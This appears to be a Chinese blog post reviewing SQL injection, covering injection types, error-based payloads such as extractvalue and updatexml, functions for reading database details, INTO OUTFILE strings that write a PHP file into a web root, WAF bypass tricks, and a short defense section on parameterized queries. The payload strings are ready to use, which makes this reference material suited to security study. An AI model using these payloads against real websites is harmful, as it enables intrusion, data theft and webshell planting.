Sql注入总结复习:

Sql注入总结复习:

1,sql注入的本质是将用户输入的不可信数据当作代码去执行,注入类的攻击还有很多,往往是由于对用户的输入过于信任而产生漏洞,也就是常说的有输入的地方就可能会有漏洞;

2,sql注入的触发条件

1)用户要能控制输入

2)输入的数据能当做代码执行

 3)要跟数据库有交互

3,sql注入分类

按位置主要分为GET型、POST型和Head型注入,前两种遇到较多一些,Head型注入主要存在于cookie或者HTTP请求的一些参数中;

按参数类型主要分为数字型和字符型,数字型无需闭合,字符型需要使用单引号、双引号或者括号进行闭合;

按有无回显可以分为报错注入和盲注;

4,常用注入方法

联合注入:通过使前一段查询为空从而爆出自己想要的数据;

报错注入:在注入后有报错信息的情况下可采用报错注入,常用报错函数如下:

extractvalue()使用xpath报错,当第二个参数不符合xpath规则时就会报错。pyload:id='and(select extractvalue("anything",concat('~',(select语句))));由于‘~’‘$’'#'等符号不符合xpath语法,因此可以报错出select语句中的内容;extractvalue()能查询字符串的最大长度为32,如果我们想要的结果超过32,就要用substring()函数截取或limit分页,一次查看最多32位;updatexml()同理:payload:id='and(select updatexml("anything",concat('~',(select语句())),"anything"))

concat+rand()+group_by()导致主键重复从而报错,payload:1 ' union select 1 from (select count(*),concat((select user()),floor(rand(0)*2))x from information_schema.tables group by x)a--+

数据溢出:在mysql5.5之前,整形溢出是不会报错的,只有版本号大于5.5.5时,才会报错;payload:select exp(~(select*from(select user())x));

其他报错注入常用的函数还有exp()、GeometryCollection()、linestring()、polygon()、multipoint()、multipolygon()、multilinestring()、join报错注入等等,在渗透场景中可以尝试哪些函数没有被过滤来进行报错注入;

二次注入:在第一次进行数据库插入数据的时候,仅仅只是使用了addslashes或get_magic_quotes_gpc对其中的特殊字符进行了转义,在写入数据库的时候还是保留了原来的数据,但是数据本身还是脏数据。在下一次进行需要进行查询的时候,直接从数据库中取出了脏数据,没有进行进一步的检验和处理,这样就会造成SQL的二次注入。

盲注:在页面无回显时可使用布尔盲注或者延时盲注;

堆查询注入:参考强网杯2019 随便注

反弹注入:针对mssql注入

偏移注入:针对access注入

DNS注入:百度搜索免费dns平台进行测试

5,数据库类型

mysql、sql server、oracle、access;

mysql默认端口为3306,可编辑用户目录下的.my.cnf文件进行编写;sqlserver默认端口为1433;oracle默认端口为1521;DB2默认端口为50000;PostgreSQL默认端口为5432;

6,常用函数:

敏感信息:

version()# mysql 数据库版本

database()# 当前数据库名

user()# 用户名

current_user()# 当前用户名

system_user()# 系统用户名

@@datadir# 数据库路径

@@version_compile_os# 操作系统版本


常用函数:

length()# 返回字符串的长度

substring()

substr()# 截取字符串

mid()

left()# 从左侧开始取指定字符个数的字符串

concat()# 没有分隔符的连接字符串

concat_ws()# 含有分割符的连接字符串

group_conat()# 连接一个组的字符串

ord()# 返回ASCII 码

ascii()

hex()# 将字符串转换为十六进制

unhex()# hex 的反向操作

md5()# 返回MD5 值floor(x)

# 返回不大于x 的最大整数

round()# 返回参数x 接近的整数

rand()# 返回0-1 之间的随机浮点数

load_file()# 读取文件,并返回文件内容作为一个字符串

sleep()# 睡眠时间为指定的秒数

if(true,t,f)# if 判断

find_in_set()# 返回字符串在字符串列表中的位置

benchmark()# 指定语句执行的次数

7,sql注入getshell

利用sql注入getshell比较困难,需要有一下几个要求:

1)知道网站绝对路径,可以尝试通过错误参数爆绝对路径,如果当前用户对web目录有读权限时,可以使用load_file()读取系统敏感文件,尝试找到网站路径;

2)gpc是关闭的,在php4.0以上版本是默认开启的;

当开启gpc时,由于存入数据库的数据是经过gpc转义前的数据,因此可以通过二次注入来绕过gpc;

在php5时,gpc无论开启与否,都不会对$_SERVER中的参数进行转义,可以选择相应的变量作为突破口;

在有时也可以使用编码绕过gpc限制,如可以使用双重url编码绕过;

3)secure_file_priv不为NULL,而mysql 5.6.34版本以后 secure_file_priv的值默认为NULL;

4)有写系统文件的权限;

以上条件都满足时可以使用into_outfile写入一句话木马

union selec写入:id= union select 1,2,3,4,'<?php phpinfo() ?>' into outfile 'C:/wamp64/www/work/webshell.php'

id = union select 1,2,3,4,'<?php phpinfo() ?>' into dumpfile 'C:/wamp64/www/work/webshell.php'

lines terminated by写入:id=1 into outfile 'C:/wamp64/www/work/webshell.php' lines terminated by '<?php phpinfo() ?>';

id=1 limit 1 into outfile 'C:/wamp64/www/work/webshell.php' lines terminated by '<?php phpinfo() ?>';

lines starting by写入id=1 into outfile 'C:/wamp64/www/work/webshell.php' lines starting by '<?php phpinfo() ?>';

id=1 limit 1 into outfile 'C:/wamp64/www/work/webshell.php' lines starting by '<?php phpinfo() ?>';

fields terminated by 写入:id=1 into outfile 'C:/wamp64/www/work/webshell.php' fields terminated by '<?php phpinfo() ?>';

id=1 limit 1 into outfile 'C:/wamp64/www/work/webshell.php' fields terminated by '<?php phpinfo() ?>';

COLUMNS terminated by 写入:id=1 into outfile 'C:/wamp64/www/work/webshell.php' COLUMNS terminated by '<?php phpinfo() ?>';

id=1 limit 1 into outfile 'C:/wamp64/www/work/webshell.php' COLUMNS terminated by '<?php phpinfo() ?>';

8,数据库提权

在数据库本身已经是root权限时,如果想要执行cmd命令则还需要进行提权,方法有以下几种:

1)udf提权:

2)mof提权:

3)启动项提权:

9,sql注入防护与绕过

防护

将普通用户与系统管理员分开,这样即使存在注入式攻击也可以防止写入一句话木马,将危害控制在最小的范围内;

使用参数化查询,使得用户的输入不直接嵌入到sql语句中,用户无法直接控制执行的语句也就不会产生sql注入了;

数据库预处理,sql注入只对sql语句的准备(编译)过程有破坏作用,而PreparedStatement已经准备好了,执行阶段只是把输入串作为数据处理,将参数转换为string,两端加单引号,将参数内的一些特殊字符(换行,单双引号,斜杠等)做转义处理,这样就很大限度的避免了sql注入。

使用正则匹配黑名单过滤,对敏感字符串,符号进行过滤,很多软件waf(如安全狗)都会采用正则规则阻止sql注入,但是正则表达式存在容易被绕过的危险;

绕过

关键词绕过,使用等价函数绕过被正则过滤的函数;

宽字节绕过,若waf对'转义为\',可使用%df%5c使'逃逸出来;

二次编码绕过,后端程序的编码函数,如urldecode()等,与PHP本身处理编码时,两者配合失误,使得攻击者可以构造数据消灭;

注释绕过,使用注释可以规避对空格的依赖或关键字识别,从而突破WAF正则匹配,常用的注释的符号有://, -- , /**/, #, --+,-- -, ;,--a;

http污染绕过,针对不同的web服务器针对性的构造参数;

10,其他数据库知识

SQL的存储引擎:

参考:

https://xz.aliyun.com/t/253

https://www.freebuf.com/vuls/229300.html

https://manning23.github.io/2019/07/23/MYSQL%E5%AD%98%E5%9C%A8%E6%B3%A8%E5%85%A5%E7%82%B9%EF%BC%8C%E5%86%99WebShell%E7%9A%845%E7%A7%8D%E6%96%B9%E5%BC%8F/

最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
  • 序言:七十年代末,一起剥皮案震惊了整个滨河市,随后出现的几起案子,更是在滨河造成了极大的恐慌,老刑警刘岩,带你破解...
    沈念sama阅读 205,386评论 6 479
  • 序言:滨河连续发生了三起死亡事件,死亡现场离奇诡异,居然都是意外死亡,警方通过查阅死者的电脑和手机,发现死者居然都...
    沈念sama阅读 87,939评论 2 381
  • 文/潘晓璐 我一进店门,熙熙楼的掌柜王于贵愁眉苦脸地迎上来,“玉大人,你说我怎么就摊上这事。” “怎么了?”我有些...
    开封第一讲书人阅读 151,851评论 0 341
  • 文/不坏的土叔 我叫张陵,是天一观的道长。 经常有香客问我,道长,这世上最难降的妖魔是什么? 我笑而不...
    开封第一讲书人阅读 54,953评论 1 278
  • 正文 为了忘掉前任,我火速办了婚礼,结果婚礼上,老公的妹妹穿的比我还像新娘。我一直安慰自己,他们只是感情好,可当我...
    茶点故事阅读 63,971评论 5 369
  • 文/花漫 我一把揭开白布。 她就那样静静地躺着,像睡着了一般。 火红的嫁衣衬着肌肤如雪。 梳的纹丝不乱的头发上,一...
    开封第一讲书人阅读 48,784评论 1 283
  • 那天,我揣着相机与录音,去河边找鬼。 笑死,一个胖子当着我的面吹牛,可吹牛的内容都是我干的。 我是一名探鬼主播,决...
    沈念sama阅读 38,126评论 3 399
  • 文/苍兰香墨 我猛地睁开眼,长吁一口气:“原来是场噩梦啊……” “哼!你这毒妇竟也来了?” 一声冷哼从身侧响起,我...
    开封第一讲书人阅读 36,765评论 0 258
  • 序言:老挝万荣一对情侣失踪,失踪者是张志新(化名)和其女友刘颖,没想到半个月后,有当地人在树林里发现了一具尸体,经...
    沈念sama阅读 43,148评论 1 300
  • 正文 独居荒郊野岭守林人离奇死亡,尸身上长有42处带血的脓包…… 初始之章·张勋 以下内容为张勋视角 年9月15日...
    茶点故事阅读 35,744评论 2 323
  • 正文 我和宋清朗相恋三年,在试婚纱的时候发现自己被绿了。 大学时的朋友给我发了我未婚夫和他白月光在一起吃饭的照片。...
    茶点故事阅读 37,858评论 1 333
  • 序言:一个原本活蹦乱跳的男人离奇死亡,死状恐怖,灵堂内的尸体忽然破棺而出,到底是诈尸还是另有隐情,我是刑警宁泽,带...
    沈念sama阅读 33,479评论 4 322
  • 正文 年R本政府宣布,位于F岛的核电站,受9级特大地震影响,放射性物质发生泄漏。R本人自食恶果不足惜,却给世界环境...
    茶点故事阅读 39,080评论 3 307
  • 文/蒙蒙 一、第九天 我趴在偏房一处隐蔽的房顶上张望。 院中可真热闹,春花似锦、人声如沸。这庄子的主人今日做“春日...
    开封第一讲书人阅读 30,053评论 0 19
  • 文/苍兰香墨 我抬头看了看天上的太阳。三九已至,却和暖如春,着一层夹袄步出监牢的瞬间,已是汗流浃背。 一阵脚步声响...
    开封第一讲书人阅读 31,278评论 1 260
  • 我被黑心中介骗来泰国打工, 没想到刚下飞机就差点儿被人妖公主榨干…… 1. 我叫王不留,地道东北人。 一个月前我还...
    沈念sama阅读 45,245评论 2 352
  • 正文 我出身青楼,却偏偏与公主长得像,于是被迫代替她去往敌国和亲。 传闻我的和亲对象是个残疾皇子,可洞房花烛夜当晚...
    茶点故事阅读 42,590评论 2 343

推荐阅读更多精彩内容

  • 最近两周刷了一下sqli-labs,对sql注入有了一个基本的认识。这里写个总结。 1.sql注入原理简单介绍在一...
    jun123123阅读 1,328评论 1 3
  • 分类 SQL注入的攻击方式根据应用程序处理数据库返回内容的不同,可以分为可显注入、报错注入和盲注。 可显注入 攻击...
    废品人生阅读 402评论 0 0
  • sql注入总结(一)--2018自我整理 SQL注入总结 前言: 本文和之后的总结都是进行总结,详细实现过程细节可...
    casaba阅读 393评论 0 2
  • 写在前面 参考:BUUCTF-Sqli_Labs/ SQL注入天书 非常好的SQL注入文章,本文只是对它的拙劣总...
    Arklight阅读 521评论 0 0
  • 一、分类 可以有以下几种不同的维度:维度一:基于注入点值的属性 数字型 字符型维度二:基于注入点的位置 GET/P...
    ffx_01阅读 1,720评论 0 0